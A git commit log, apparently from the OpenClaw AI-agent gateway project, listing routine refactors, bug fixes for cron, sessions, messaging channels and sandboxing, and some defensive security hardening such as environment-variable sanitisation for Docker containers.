83b1ae895e fix(transcript): always drop orphaned OpenAI reasoning blocks 2026-02-16 20:20:32 -05:00
cpojer
6229814af2 chore: Remove invalid tsconfig paths reference. 2026-02-17 10:15:10 +09:00
cpojer
ff8316e04e chore: Fix formatting. 2026-02-17 10:14:13 +09:00
cpojer
d3a36cc3b0 chore: Fix remaining extension test types, enable type checking for extension tests. 2026-02-17 10:14:01 +09:00
cpojer
a741985574 chore: Fix more extension test types, 2/N. 2026-02-17 10:14:01 +09:00
cpojer
72f00df95a chore: Fix more extension test type 1/N. 2026-02-17 10:14:01 +09:00
cpojer
0f8d1f175a chore: Fix type errors in extensions/twitch tests. 2026-02-17 10:14:00 +09:00
cpojer
889f221ed1 chore: Fix type errors in extensions/bluebubbles tests. 2026-02-17 10:14:00 +09:00
Peter Steinberger
6244ef9ea8 fix: handle Windows and UNC bind mount parsing 2026-02-17 02:08:56 +01:00
Peter Steinberger
13ae1ae056 fix(memory): tighten embedding manager inheritance types 2026-02-17 00:59:54 +00:00
Peter Steinberger
5115f6fdf3 style: normalize imports for oxfmt 0.33 2026-02-17 00:59:54 +00:00
Peter Steinberger
dcdbbd8b3b test: replace ui prototype method patches with instance stubs 2026-02-17 01:57:51 +01:00
Peter Steinberger
c20ef582cb fix: align cron session key routing (#18637) (thanks @vignesh07) 2026-02-17 01:54:59 +01:00
Vignesh Natarajan
064a3079cb Heartbeat: queue pending wakes per target 2026-02-17 01:54:59 +01:00
Vignesh Natarajan
a7c25f203a Protocol: regenerate cron Swift models 2026-02-17 01:54:59 +01:00
Vignesh Natarajan
a258503590 Cron: dedupe gateway wake target resolution 2026-02-17 01:54:59 +01:00
Vignesh Natarajan
f988abf202 Cron: route reminders by session namespace 2026-02-17 01:54:59 +01:00
Peter Steinberger
f452a7a60b refactor(shared): reuse chat content extractor for assistant text 2026-02-17 00:53:44 +00:00
Peter Steinberger
ddef3cadba refactor: replace memory manager prototype mixing 2026-02-17 01:50:04 +01:00
Peter Steinberger
7649f9cba4 refactor(test): share heartbeat sandbox fixtures 2026-02-17 00:49:42 +00:00
Peter Steinberger
b9e7299a70 refactor(test): share embedded runner overflow mocks 2026-02-17 00:49:37 +00:00
Peter Steinberger
9032a50981 refactor: reuse sandbox path expansion in apply-patch 2026-02-17 00:45:02 +00:00
Peter Steinberger
7687f6cfcd refactor: reuse runtime requires evaluation 2026-02-17 00:45:02 +00:00
Peter Steinberger
5195179150 refactor: centralize plugin allowlist mutation 2026-02-17 00:45:02 +00:00
Peter Steinberger
7147cd9cc0 refactor: dedupe process-scoped lock maps 2026-02-17 00:45:02 +00:00
cpojer
c70597daeb chore: Fix formatting. 2026-02-17 09:40:00 +09:00
cpojer
194608d0dd chore: Remove leftover file. 2026-02-17 09:33:26 +09:00
Peter Steinberger
dee0134269 style: reformat dedupe-touched files 2026-02-17 00:32:34 +00:00
Peter Steinberger
817b5812e1 refactor(agents): share queued JSONL file writer 2026-02-17 00:32:34 +00:00
Peter Steinberger
80c7d04ad2 refactor(cron): reuse shared run outcome telemetry types 2026-02-17 00:32:34 +00:00
Peter Steinberger
a6466f2576 refactor(web-tools): share URL allowlist resolver 2026-02-17 00:32:34 +00:00
Peter Steinberger
64fc82844e refactor(channels): share prefixed target parsing 2026-02-17 00:32:34 +00:00
Peter Steinberger
10b060dbd3 refactor(agent-tools): reuse gateway option parsing 2026-02-17 00:32:34 +00:00
Peter Steinberger
37c97964af refactor(media): centralize input file limit resolution 2026-02-17 00:32:34 +00:00
Peter Steinberger
ed74f48bd5 refactor(status): share update channel display + one-liner 2026-02-17 00:32:34 +00:00
cpojer
1dc9bb8d62 chore: Fix more type issues. 2026-02-17 09:29:47 +09:00
Peter Steinberger
8ae93cce53 docs: add ts-suppression guardrails 2026-02-17 01:26:06 +01:00
cpojer
843acd52b7 chore: Fix up Oxlint/Oxfmt ignore patterns. 2026-02-17 09:20:04 +09:00
cpojer
90ef2d6bdf chore: Update formatting. 2026-02-17 09:18:40 +09:00
cpojer
1e13a3933c chore: Update deps. 2026-02-17 09:14:42 +09:00
Peter Steinberger
5cbdd3a9c1 test(auto-reply): dedupe command spawn test harness 2026-02-17 00:11:02 +00:00
Peter Steinberger
b9aed3a07c refactor(infra): reuse device auth scope normalization 2026-02-17 00:11:02 +00:00
Peter Steinberger
fbd3786e7a refactor(channels): share target parsing helpers 2026-02-17 00:11:02 +00:00
Peter Steinberger
9bfd3ca195 refactor(memory): consolidate embeddings and batch helpers 2026-02-17 00:11:02 +00:00
Peter Steinberger
423b7a0f28 refactor(auto-reply): reuse embedded run context helpers 2026-02-17 00:11:02 +00:00
Peter Steinberger
246bb7f30f refactor(agents): share model auth label resolution 2026-02-17 00:11:02 +00:00
Shadow
ff2e790e03 CI: increase stale operations per run 2026-02-16 18:06:35 -06:00
Peter Steinberger
4088c0b89d refactor(core): dedupe schema and command parsing helpers 2026-02-16 23:48:43 +00:00
Peter Steinberger
c55e017c19 refactor(daemon): dedupe user bin path assembly helpers 2026-02-16 23:48:43 +00:00
Peter Steinberger
3451159174 refactor(channels): share draft stream loop across slack and telegram 2026-02-16 23:48:43 +00:00
Peter Steinberger
f6111622e6 refactor(commands): share system prompt bundle for context and export 2026-02-16 23:48:43 +00:00
Peter Steinberger
32e2c369d7 refactor(agents): extract shared session dir resolver 2026-02-16 23:48:43 +00:00
Peter Steinberger
82c4f8ca22 chore(ci): align lint and format checks for templated exports 2026-02-16 23:48:43 +00:00
Peter Steinberger
170e6f33b9 docs(commands): add export-session aliases to slash command list 2026-02-16 23:48:43 +00:00
Peter Steinberger
b3d0e0cb45 fix(cron): preserve overrides and harden next-run calculation 2026-02-16 23:48:26 +00:00
Peter Steinberger
968bba5c18 refactor(telegram): remove duplicate poll dispatch branch 2026-02-16 23:47:57 +00:00
Peter Steinberger
0a188ee49a test(ci): stabilize update and discord process tests 2026-02-16 23:47:57 +00:00
Peter Steinberger
a186ce2158 fix(ci): preserve whatsapp send API compatibility 2026-02-16 23:47:57 +00:00
Peter Steinberger
94e4631171 refactor(onboarding): simplify zalo allowFrom merge paths 2026-02-16 23:47:57 +00:00
Peter Steinberger
d89d951c3e refactor(onboarding): reuse allowFrom merge helper in matrix 2026-02-16 23:47:57 +00:00
Peter Steinberger
7632e60d70 refactor(onboarding): reuse allowFrom merge helper in extensions 2026-02-16 23:47:57 +00:00
Peter Steinberger
12a947223b fix(ci): restore main checks after bulk merges 2026-02-16 23:47:27 +00:00
Peter Steinberger
8c241449f5 fix(protocol): sync generated gateway swift models 2026-02-16 23:33:05 +00:00
Peter Steinberger
83a8b78a42 fix(ci): guard loop detection integer parsing 2026-02-16 23:27:35 +00:00
Peter Steinberger
eaa2f7a7bf fix(ci): restore main lint/typecheck after direct merges 2026-02-16 23:26:11 +00:00
Peter Steinberger
076df941a3 feat: add configurable tool loop detection 2026-02-17 00:17:01 +01:00
Rain
dacffd7ac8 fix(sandbox): parse Windows bind mounts in fs-path mapping 2026-02-17 00:02:12 +01:00
尹凯
3f617e33b7 style(discord): format provider after proxy fetch changes 2026-02-17 00:02:09 +01:00
尹凯
e997545d4b fix(discord): apply proxy to app-id and allowlist REST lookups 2026-02-17 00:02:09 +01:00
Jonathan Gelin
bc2e02bb34 fix(ui/usage): remove remaining timeSeriesCursor reference in renderContextPanel 2026-02-17 00:02:05 +01:00
Jonathan Gelin
647d69881b fix(ui/usage): align client log limit with server cap (1000) and remove unused param
- Client requested 2000 logs but server caps at 1000
- Remove unused timeSeriesCursor param from renderContextPanel
2026-02-17 00:02:05 +01:00
Jonathan Gelin
0302cf89b0 feat(timeline): dual-handle range selection on Usage Over Time chart
- Dual drag handles on SVG chart for time range selection
- Bars outside range dimmed, stats + conversation filtered to range
- Slot-based bar sizing prevents overflow at any point count
- Handle-only drag zones with col-resize cursor
- Reset button to clear selection
- computeFilteredUsage() helper with 8 unit tests
- Named constants, CSS classes instead of inline styles
2026-02-17 00:02:05 +01:00
gaowanqi08141999
86517b8e30 feat(feishu): add bitable create app and create field tools 2026-02-17 00:02:00 +01:00
ikari
84383b5e0f fix(tts): show all provider errors instead of only the last one
When TTS conversion fails, the error message now includes failures
from every provider in the fallback chain instead of only the last
one tried. Previously, a timeout on the primary provider (e.g.
ElevenLabs) would be masked by the final fallback's error (e.g.
"edge: disabled"), making it impossible to diagnose the real issue.

Before: "TTS conversion failed: edge: disabled"
After:  "TTS conversion failed: elevenlabs: timeout (30004ms); openai: no API key; edge: disabled"
2026-02-17 00:01:56 +01:00
Operative-001
de6cc05e7e fix(cron): prevent spin loop when job completes within firing second (#17821)
When a cron job fires at 13:00:00.014 and completes at 13:00:00.021,
computeNextRunAtMs was flooring nowMs to 13:00:00.000 and asking croner
for the next occurrence from that exact boundary. Croner could return
13:00:00.000 (same second) since it uses >= semantics, causing the job
to be immediately re-triggered hundreds of times.

Fix: Ask croner for the next occurrence starting from the NEXT second
(e.g., 13:00:01.000). This ensures we always skip the current/elapsed
second and correctly return the next day's occurrence.

This also correctly handles the before-match case: if nowMs is
11:59:59.500, we ask from 12:00:00.000, and croner returns today's
12:00:00.000 match.

Added regression tests for the spin loop scenario.
2026-02-17 00:01:53 +01:00
度人自度
531f735c8a Update extensions/openclaw-zh-cn-ui/README.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-17 00:01:46 +01:00
度人自度
aeadeffa15 Update README.md 2026-02-17 00:01:46 +01:00
度人自度
967efc8e1b Update README.md 2026-02-17 00:01:46 +01:00
度人自度
c88a90c7c3 Create README.md 2026-02-17 00:01:46 +01:00
Jonathan Gelin
bdbb872c07 fix(ui/usage): replace undefined --text-muted CSS variable with --muted
The usage tab styles referenced var(--text-muted) which is not defined
anywhere in the CSS. This resolved to transparent/initial, making text
invisible in dark mode. The correct variable is var(--muted) (#71717a),
which is used throughout the rest of the UI (85+ occurrences).

47 occurrences fixed across 3 style files.
2026-02-17 00:01:42 +01:00
Operative-001
16ddbbc628 fix(sessions): skip cache when initializing session state
Fixes #17971

When initSessionState() reads the session store, use skipCache: true
to ensure fresh data from disk. The session store cache is process-local
and uses mtime-based invalidation, which can fail in these scenarios:

1. Multiple gateway processes (each has separate in-memory cache)
2. Windows file system where mtime granularity may miss rapid writes
3. Race conditions between messages 6-8 seconds apart

Symptoms: 134+ orphaned .jsonl transcript files, each with only 1
exchange. Session rotates on every incoming message even when
sessionKey is stable.

Root cause: loadSessionStore() returns stale cache → entry not found
for sessionKey → new sessionId generated → new transcript file.

The fix ensures session identity (sessionId) is always resolved from
the latest on-disk state, not potentially-stale cache.
2026-02-17 00:01:37 +01:00
Elie Habib
5b3873add4 fix(skills): guard against skills prompt bloat 2026-02-17 00:01:34 +01:00
Ibrahim Qureshi
4f5b9da503 Update docs/reference/templates/SOUVENIR.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-17 00:01:30 +01:00
Ibrahim Qureshi
8a3f3a49a5 Update docs/reference/templates/GOALS.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-17 00:01:30 +01:00
Ibrahim Qureshi
bf1b4386df Update docs/reference/templates/GOALS.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-17 00:01:30 +01:00
Ibrahim Qureshi
1a9a2e396f feat: Add GOALS.md and SOUVENIR.md template files
- GOALS.md: Direction & Execution Strategy template
- SOUVENIR.md: Memory & Reflection Layer template
- Both files pass oxfmt formatting check
2026-02-17 00:01:30 +01:00
artale
b4a90bb743 fix(telegram): suppress message_thread_id for private chat sends (#17242)
Private chats (positive numeric chat IDs) never support forum topics.
Sending message_thread_id to a private chat causes Telegram to reject
the request with '400: Bad Request: message thread not found', silently
dropping the message.

Guard all three send functions (sendMessageTelegram, sendStickerTelegram,
sendPollTelegram) to omit thread-related parameters when the target is a
private chat.

Root cause: the auto-reply pipeline can set messageThreadId from a
previous forum-group context, then reuse it when sending a DM.

Tests: add private-chat suppression assertions; update existing thread-
retry tests to use group chat IDs so the retry path is still exercised.
2026-02-17 00:01:26 +01:00
simonemacario
2ed43fd7b4 fix(cron): resolve accountId from agent bindings in isolated sessions
When an isolated cron session has no lastAccountId (e.g. first-run or
fresh session), the message tool receives an undefined accountId which
defaults to "default". In multi-account setups where accounts are named
(e.g. "willy", "betty"), this causes resolveTelegramToken() to fail
because accounts["default"] doesn't exist.

This change adds a fallback in resolveDeliveryTarget(): when the
session-derived accountId is undefined, look up the agent's bound
account from the bindings config using buildChannelAccountBindings().
This mirrors the same binding resolution used for inbound routing,
closing the gap between inbound and outbound account resolution.

Session-derived accountId still takes precedence when present.

Fixes #17889
Related: #12628, #16259

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 00:01:22 +01:00
Operative-001
e9f2e6a829 fix(heartbeat): prune transcript for HEARTBEAT_OK turns
When a heartbeat run results in HEARTBEAT_OK (or empty/duplicate), the user+assistant
turns are now pruned from the session transcript. This prevents context window
pollution from zero-information exchanges.

Implementation:
- captureTranscriptState(): records transcript file path and size before heartbeat
- pruneHeartbeatTranscript(): truncates file back to pre-heartbeat size
- Called in ok-empty, ok-token, and duplicate cases (same places as restoreHeartbeatUpdatedAt)

This extends the existing pattern where delivery is suppressed and updatedAt is restored
for HEARTBEAT_OK responses - now the transcript is also cleaned up.

Fixes #17804
2026-02-17 00:01:15 +01:00
artale
7bb9a7dcfc fix(telegram): wire sendPollTelegram into channel action handler (#16977)
The Telegram channel adapter listed no 'poll' action, so agents could
not create polls via the unified action interface. The underlying
sendPollTelegram function was already implemented but unreachable.

Changes:
- telegram.ts: add 'poll' to listActions (enabled by default via gate),
  add handleAction branch that reads pollQuestion/pollOption params and
  delegates to handleTelegramAction with action 'sendPoll'.
- telegram-actions.ts: add 'sendPoll' handler that validates question,
  options (≥2), and forwards to sendPollTelegram with threading, silent,
  and anonymous options.
- actions.test.ts: add test verifying poll action routes correctly.

Fixes #16977
2026-02-17 00:01:07 +01:00
amabito
068b9c9749 feat: wrap compaction generateSummary in retryAsync
Integrate retry logic with abort-classifier for /compact endpoint:
- Wrap generateSummary calls in retryAsync with exponential backoff
- Auto-skip retry on user cancellation and gateway restart (AbortError)
- Config: 3 attempts, 500ms-5s delay, 20% jitter
- Add comprehensive Vitest tests (5/5 passed)

Related: #16809, #5744, #17143
2026-02-17 00:01:03 +01:00
Ralph
990cf2d226 fix(extensions): address greptile review comments for openai-codex-auth
- Change provider ID from 'openai-codex' to 'openai-codex-import' to avoid
  conflict with core's built-in openai-codex provider
- Update model prefix from 'openai/' to 'openai-codex/' to match core's
  namespace convention and avoid collision with standard OpenAI API provider
- Use correct Codex models (gpt-5.3-codex, gpt-5.2-codex) instead of generic
  OpenAI models (gpt-4.1, o1, o3)
- Respect CODEX_HOME env var when resolving auth file path, matching core
  behavior in src/agents/cli-credentials.ts
- Validate refresh token presence and throw clear error instead of using
  empty string which causes silent failures
2026-02-17 00:01:00 +01:00
Ralph
45b3c883b8 fix: regenerate pnpm lockfile 2026-02-17 00:01:00 +01:00
Ralph
24569d093a style: fix import ordering in openai-codex-auth 2026-02-17 00:01:00 +01:00
Ralph
3ac422fe2e feat(extensions): add OpenAI Codex CLI auth provider
Adds a new authentication provider that reads OAuth tokens from the
OpenAI Codex CLI (~/.codex/auth.json) to authenticate with OpenAI's API.

This allows ChatGPT Plus/Pro subscribers to use OpenAI models in OpenClaw
without needing a separate API key - just authenticate with 'codex login'
first, then enable this plugin.

Features:
- Reads existing Codex CLI credentials from ~/.codex/auth.json
- Supports all Codex-available models (gpt-4.1, gpt-4o, o1, o3, etc.)
- Automatic token expiry detection from JWT
- Clear setup instructions and troubleshooting docs

Usage:
  openclaw plugins enable openai-codex-auth
  openclaw models auth login --provider openai-codex --set-default
2026-02-17 00:01:00 +01:00
boris
f82a3d3e2b fix: use resolveUserPath utility for tilde expansion 2026-02-17 00:00:57 +01:00
boris
4cd75d5d0f fix: remove accidental openclaw link dependency 2026-02-17 00:00:57 +01:00
boris
f70b3a2e68 refactor: bundle export-html templates instead of reading from node_modules
- Copy templates from pi-coding-agent into src/auto-reply/reply/export-html/
- Add build script to copy templates to dist/
- Remove fragile node_modules path traversal
- Templates are now self-contained (~250KB total)
2026-02-17 00:00:57 +01:00
boris
1eb1a33f37 chore: remove --open option (not useful for remote sessions) 2026-02-17 00:00:57 +01:00
boris
ffe700bf94 fix: use proper pi-mono dark theme colors for export HTML 2026-02-17 00:00:57 +01:00
boris
add3afb743 feat: add /export-session command
Export current session to HTML file with full system prompt included.
Uses pi-coding-agent templates for consistent rendering.

Features:
- Exports session entries + full system prompt + tools
- Saves to workspace by default, or custom path
- Optional --open flag to open in browser
- Reuses pi-mono export-html templates

Usage:
  /export-session           # Export to workspace
  /export-session ~/export  # Export to custom path
  /export-session --open    # Export and open in browser
2026-02-17 00:00:57 +01:00
Xinhua Gu
3c3a39d165 fix(test): use path.resolve for cross-platform Windows compatibility 2026-02-17 00:00:54 +01:00
Xinhua Gu
90774c098a fix(sessions): allow cross-agent session file paths in multi-agent setups
When OPENCLAW_STATE_DIR changes between session creation and resolution
(e.g., after reinstall or config change), absolute session file paths
pointing to other agents' sessions directories were rejected even though
they structurally match the valid .../agents/<agentId>/sessions/... pattern.

The existing fallback logic in resolvePathWithinSessionsDir extracts the
agent ID from the path and tries to resolve it via the current env's
state directory. When those directories differ, the containment check
fails. Now, if the path structurally matches the agent sessions pattern
(validated by extractAgentIdFromAbsoluteSessionPath), we accept it
directly as a final fallback.

Fixes #15410, Fixes #15565, Fixes #15468
2026-02-17 00:00:54 +01:00
8BlT
e20b87f1ba fix: handle forum/topics in Telegram DM thread routing (#17980)
resolveTelegramThreadSpec now checks isForum in the non-group path.
DMs with forum/topics enabled return scope 'forum' so each topic
gets its own session, while plain DM threads keep scope 'dm'.
2026-02-17 00:00:51 +01:00
SK Akram
c25c276e00 refactor: remove unnecessary optional chaining from agent meta usage in reply and cron modules 2026-02-17 00:00:47 +01:00
SK Akram
d649069184 fix: add optional chaining to runResult.meta accesses to prevent crashes on aborted runs 2026-02-17 00:00:47 +01:00
Operative-001
690ec492df refactor: remove redundant field assignments in resolveCronSession
Addresses Greptile review comment: when !isNewSession, the spread already
copies all entry fields. The explicit entry?.field assignments were
redundant and could cause confusion. Simplified to only override the
core fields (sessionId, updatedAt, systemSent).
2026-02-17 00:00:40 +01:00
Operative-001
57c8f62396 fix(cron): reuse existing sessionId for webhook/cron sessions
When a webhook or cron job provides a stable sessionKey, the session
should maintain conversation history across invocations. Previously,
resolveCronSession always generated a new sessionId and hardcoded
isNewSession: true, preventing any conversation continuity.

Changes:
- Check if existing entry has a valid sessionId
- Evaluate freshness using configured reset policy
- Reuse sessionId and set isNewSession: false when fresh
- Add forceNew parameter to override reuse behavior
- Spread existing entry to preserve conversation context

This enables persistent, stateful conversations for webhook-driven
agent endpoints when allowRequestSessionKey is configured.

Fixes #18027
2026-02-17 00:00:40 +01:00
Clawdbot
952db1a3e2 fix(discord): route audioAsVoice payloads through voice message API
deliverDiscordReply now checks payload.audioAsVoice and routes through
sendVoiceMessageDiscord instead of sendMessageDiscord when true.

This matches the existing Telegram behavior where audioAsVoice triggers
the voice message path (wantsVoice: true).

Fixes #17990
2026-02-17 00:00:34 +01:00
Peter Steinberger
2fa9ddebdb fix(mattermost): add actions config typing 2026-02-16 23:00:32 +00:00
Peter Steinberger
9f0fc74d10 refactor(model): share normalized provider map lookups 2026-02-16 23:00:32 +00:00
Clawdbot
1fca7c3928 fix(discord): strip user:/discord:/pk: prefixes in command allowFrom
Discord's formatAllowFrom now strips these prefixes before matching,
aligning with normalizeDiscordAllowList behavior used in DM admission.

Before: commands.allowFrom: ["user:123"] → no match (senderCandidates: ["123", "discord:123"])
After: commands.allowFrom: ["user:123"] → "123" → matches sender "123"

Fixes #17937
2026-02-17 00:00:30 +01:00
Operative-001
6931ca7035 fix(subagent): route nested announce to parent even when parent run ended
When a depth-2 subagent (Birdie) completes and its parent (Newton) is a
depth-1 subagent, the announce should go to Newton, not bypass to the
grandparent (Jaris).

Previously, isSubagentSessionRunActive(Newton) returned false because
Newton's agent turn completed after spawning Birdie. This triggered the
fallback to grandparent even though Newton's SESSION was still alive and
waiting for child results.

Now we only fallback to grandparent if the parent SESSION is actually
deleted (no sessionId in session store). If the parent session exists,
we inject into it even if the current run has ended — this starts a new
agent turn to process the child result.

Fixes #18037

Test Plan:
- Added regression test: routes to parent when run ended but session alive
- Added regression test: falls back to grandparent only when session deleted
2026-02-17 00:00:27 +01:00
aether-ai-agent
235794d9f6 fix(security): OC-09 credential theft via environment variable injection
Implement comprehensive environment variable sanitization before Docker
container creation to prevent credential theft via post-exploitation
environment access.

Security Impact:
- Blocks 39+ sensitive credential patterns (API keys, tokens, passwords)
- Prevents exfiltration of ANTHROPIC_API_KEY, OPENAI_API_KEY, etc.
- Fail-secure validation with audit logging

Changes:
- Add sanitize-env-vars.ts with blocklist/allowlist validation
- Integrate sanitization into docker.ts (lines 273-294)
- Add validateEnvVars() to security validation
- Comprehensive test suite (62 tests, 100% pass rate)

Test Results: 62/62 passing
Code Review: 9.5/10 approved
Severity: HIGH (CWE-200, CVSS 7.5)

Signed-off-by: Aether AI Agent <github@tryaether.ai>
2026-02-17 00:00:23 +01:00
康熙
65a1787f92 fix: normalize paths to forward slashes for Windows RegExp compatibility
Windows path.relative() produces backslashes (e.g., memory\2026-02-16.md)
which fail to match RegExp patterns using forward slashes.

Normalize relative paths to forward slashes before RegExp matching
using rel.split(path.sep).join('/').

Fixes 4 test failures on Windows CI.
2026-02-17 00:00:20 +01:00
康熙
811c4f5e91 feat: add post-compaction read audit (Layer 3) 2026-02-17 00:00:20 +01:00
康熙
3296a25cc6 fix: format compaction-safeguard.ts with oxfmt 2026-02-17 00:00:20 +01:00
康熙
c4f829411f feat: append workspace critical rules to compaction summary
- Add readWorkspaceContextForSummary() to extract Session Startup + Red Lines from AGENTS.md
- Inject workspace context into compaction summary (limited to 2000 chars)
- Export extractSections() from post-compaction-context.ts for reuse
- Ensures compaction summary includes core rules needed for recovery

Part 1 of post-compaction context injection feature.
2026-02-17 00:00:20 +01:00
康熙
d0b33f23eb fix: improve section extraction robustness (case-insensitive, H3, code blocks) 2026-02-17 00:00:20 +01:00
康熙
90476d465d fix: format post-compaction-context test file 2026-02-17 00:00:20 +01:00
康熙
35a3e1b788 feat: inject post-compaction workspace context as system event (#18023) 2026-02-17 00:00:20 +01:00
artale
b1d5c71609 fix(cli): use standalone script for service restart after update (#17225)
The updater was previously attempting to restart the service using the
installed codebase, which could be in an inconsistent state during the
update process. This caused the service to stall when the updater
deleted its own files before the restart could complete.

Changes:
- restart-helper.ts: new module that writes a platform-specific restart
  script to os.tmpdir() before the update begins (Linux systemd, macOS
  launchctl, Windows schtasks).
- update-command.ts: prepares the restart script before installing, then
  uses it for service restart instead of the standard runDaemonRestart.
- restart-helper.test.ts: 12 tests covering all platforms, custom
  profiles, error cases, and shell injection safety.

Review feedback addressed:
- Use spawn(detached: true) + unref() so restart script survives parent
  process termination (Greptile).
- Shell-escape profile values using single-quote wrapping to prevent
  injection via OPENCLAW_PROFILE (Greptile).
- Reject unsafe batch characters on Windows.
- Self-cleanup: scripts delete themselves after execution (Copilot).
- Add tests for write failures and custom profiles (Copilot).

Fixes #17225
2026-02-17 00:00:16 +01:00
artale
a62ff19a66 fix(agent): isolate last-turn total in token usage reporting (#17016)
recordAssistantUsage accumulated cacheRead across the entire multi-turn
run, and totalTokens was clamped to contextTokens. This caused
session_status to report 100% context usage regardless of actual load.

Changes:
- run.ts: capture lastTurnTotal from the most recent model call and
  inject it into the normalized usage before it reaches agentMeta.
- usage-reporting.test.ts: verify usage.total reflects current turn,
  not accumulated total.

Fixes #17016
2026-02-17 00:00:12 +01:00
OpenClaw Bot
d6acd71576 fix: session-memory hook finds previous session file after /new/reset
When /new or /reset is triggered, the session file gets rotated
before the hook runs. The hook was reading the new (empty) file
instead of the previous session content.

This fix:
1. Checks if the session file looks like a reset file (.reset.)
2. Falls back to finding the most recent non-reset .jsonl file
3. Logs debug info about which file was used

Fixes openclaw/openclaw#18088
2026-02-17 00:00:08 +01:00
OpenClaw Bot
767109e7d5 fix(skills): improve git credential handling for gh-issues sub-agents
- Add explicit GH_TOKEN setup in sub-agent environment
- Disable credential helper before push
- Use GIT_ASKPASS to prevent credential prompts
2026-02-17 00:00:08 +01:00
OpenClaw Bot
068260bbea fix: add api-version query param for Azure verification 2026-02-17 00:00:08 +01:00
OpenClaw Bot
960cc11513 fix: add Azure AI Foundry URL support for custom providers
Detects Azure AI Foundry URLs (services.ai.azure.com and
openai.azure.com) and transforms them to include the proper
deployment path (/openai/deployments/<model-id>) required by
Azure's API. This fixes the 400 error when configuring OpenAI
models from Azure AI Foundry.

Fixes openclaw/openclaw#17992
2026-02-17 00:00:08 +01:00
Rain
4e5a9d83b7 fix(gateway): preserve unbracketed IPv6 host headers 2026-02-17 00:00:03 +01:00
Iron9521
8e55503d77 fix(browser): track original port mapping for EADDRINUSE fallback
Address review feedback: when port fallback occurs, maintain mapping from
original requested port to the relay server for proper cleanup and reuse.

- Add relayByOriginalPort map to track original port -> relay
- Update ensureChromeExtensionRelayServer to check both maps
- Update stopChromeExtensionRelayServer to clean up both mappings
- Stop function now uses the relay's actual bound port for auth cleanup
2026-02-16 23:59:59 +01:00
Iron
0e6daa2e6e fix(browser): handle EADDRINUSE with automatic port fallback
When the Chrome extension relay server fails to bind due to port
conflict (EADDRINUSE), automatically try alternative ports in the
dynamic range (49152-65535) instead of failing immediately.

This resolves issues where stale processes hold onto port 18792
after gateway restarts or crashes.

Fixes potential issues related to #8926, #13867, #17584
2026-02-16 23:59:59 +01:00
artale
a1a1f56841 fix(process): disable detached spawn on Windows to fix empty exec output (#18035)
The supervisor's child adapter always spawned with `detached: true`,
which creates a new process group. On Windows Scheduled Tasks (headless,
no console), this prevents stdout/stderr pipes from properly connecting,
causing all exec tool output to silently disappear.

The old exec path (pre-supervisor refactor) never used `detached: true`.
The regression was introduced in cd44a0d01 (refactor process spawning).

Changes:
- child.ts: set `detached: false` on Windows, keep `detached: true` on
  POSIX (where it's needed to survive parent exit). Skip the no-detach
  fallback on Windows since it's already the default.
- child.test.ts: platform-aware assertions for detached behavior.

Fixes #18035
Fixes #17806
2026-02-16 23:59:53 +01:00
Operative-001
d0a5ee0176 fix: include token drift warning in JSON response
Address review feedback - when --json mode is used, the drift warning
was completely suppressed. Now it's included in the warnings array
of the DaemonActionResponse so programmatic consumers can surface it.
2026-02-16 23:59:50 +01:00
Operative-001
d6e85aa6ba fix(daemon): warn on token drift during restart (#18018)
When the gateway token in config differs from the token embedded in the
service plist/unit file, restart will not apply the new token. This can
cause silent auth failures after OAuth token switches.

Changes:
- Add checkTokenDrift() to service-audit.ts
- Call it in runServiceRestart() before restarting
- Warn user with suggestion to run 'openclaw gateway install --force'

Closes #18018
2026-02-16 23:59:50 +01:00
Marcus Widing
8af4712c40 fix(cron): prevent spin loop when job completes within scheduled second (#17821)
When a cron job fires and completes within the same wall-clock second it
was scheduled for, the next-run computation could return undefined or the
same second, causing the scheduler to re-trigger the job hundreds of
times in a tight loop.

Two-layer fix:

1. computeJobNextRunAtMs: When computeNextRunAtMs returns undefined for a
   cron-kind schedule (edge case where floored nowSecondMs matches the
   schedule), retry with the ceiling (next second) as reference time.
   This ensures we always get the next valid occurrence.

2. applyJobResult: Add MIN_REFIRE_GAP_MS (2s) safety net for cron-kind
   jobs.  After a successful run, nextRunAtMs is guaranteed to be at
   least 2s in the future.  This breaks any remaining spin-loop edge
   cases without affecting normal daily/hourly schedules (where the
   natural next run is hours/days away).

Fixes #17821
2026-02-16 23:59:44 +01:00
popomore
eed806ce58 f 2026-02-16 23:59:41 +01:00
popomore
a42ccb9c1d f 2026-02-16 23:59:41 +01:00
popomore
c315246971 fix(feishu): fix mention detection for post messages with embedded docs
Parse "at" elements from post content when message.mentions is empty to
detect bot mentions in rich text messages containing documents.
2026-02-16 23:59:41 +01:00
Glucksberg
cd4f7524e3 feat(telegram): receive and surface user message reactions (#10075) 2026-02-16 23:59:36 +01:00
Rain
d3698f4eb6 fix(gateway): trim trusted proxy entries before matching 2026-02-16 23:59:32 +01:00
HAL
e24e465c00 fix(webchat): strip reply/audio directive tags before rendering #18079
The webchat UI rendered [[reply_to_current]], [[reply_to:<id>]], and
[[audio_as_voice]] tags as literal text because extractText() passed
assistant content through without stripping inline directives.

Add stripDirectiveTags() to the UI chat layer and apply it to all three
extractText code paths (string content, content array, .text property)
for assistant messages only. Regex mirrors src/utils/directive-tags.ts.

Fixes #18079
2026-02-16 23:59:29 +01:00
AKASH KOBAL
9c3eed5970 Update Akash Kobal's avatar link in README 2026-02-16 23:59:25 +01:00
AKASH KOBAL
18f3bbfe05 Add avatar link for AkashKobal to README 2026-02-16 23:59:25 +01:00
Vishal Doshi
e91a5b0216 fix: release stale session locks and add watchdog for hung API calls (#18060)
When a model API call hangs indefinitely (e.g. Anthropic quota exceeded
mid-call), the gateway acquires a session .jsonl.lock but the promise
never resolves, so the try/finally block never reaches release(). Since
the owning PID is the gateway itself, stale detection cannot help —
isPidAlive() always returns true.

This commit adds four layers of defense:

1. **In-process lock watchdog** (session-write-lock.ts)
   - Track acquiredAt timestamp on each held lock
   - 60-second interval timer checks all held locks
   - Auto-releases any lock held longer than maxHoldMs (default 5 min)
   - Catches the hung-API-call case that try/finally cannot

2. **Gateway startup cleanup** (server-startup.ts)
   - On boot, scan all agent session directories for *.jsonl.lock files
   - Remove locks with dead PIDs or older than staleMs (30 min)
   - Log each cleaned lock for diagnostics

